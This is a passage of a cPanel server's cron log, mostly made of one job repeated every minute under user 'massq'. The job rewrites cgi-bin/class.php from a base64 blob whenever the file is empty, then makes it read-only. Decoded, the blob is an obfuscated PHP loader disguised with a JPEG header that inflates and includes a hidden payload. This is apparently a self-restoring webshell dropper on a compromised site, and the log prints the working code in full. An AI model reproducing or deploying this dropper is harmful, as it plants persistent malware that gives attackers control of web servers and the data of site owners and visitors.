KF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:09:01 server CROND[12159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:09:01 server CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 01:10:01 server CROND[12230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:10:01 server CROND[12232]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:10:01 server CROND[12231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:10:01 server CROND[12233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:11:01 server CROND[12370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:12:01 server CROND[12440]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 01:12:01 server CROND[12441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:13:01 server CROND[12548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:14:01 server CROND[12719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:15:01 server CROND[12800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:15:01 server CROND[12801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:15:01 server CROND[12799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:16:01 server CROND[12915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:17:01 server CROND[12980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:18:01 server CROND[13055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:19:01 server CROND[13189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:20:01 server CROND[13287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:20:01 server CROND[13288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:20:01 server CROND[13289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:20:01 server CROND[13292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 01:20:01 server CROND[13291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:21:01 server CROND[13428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
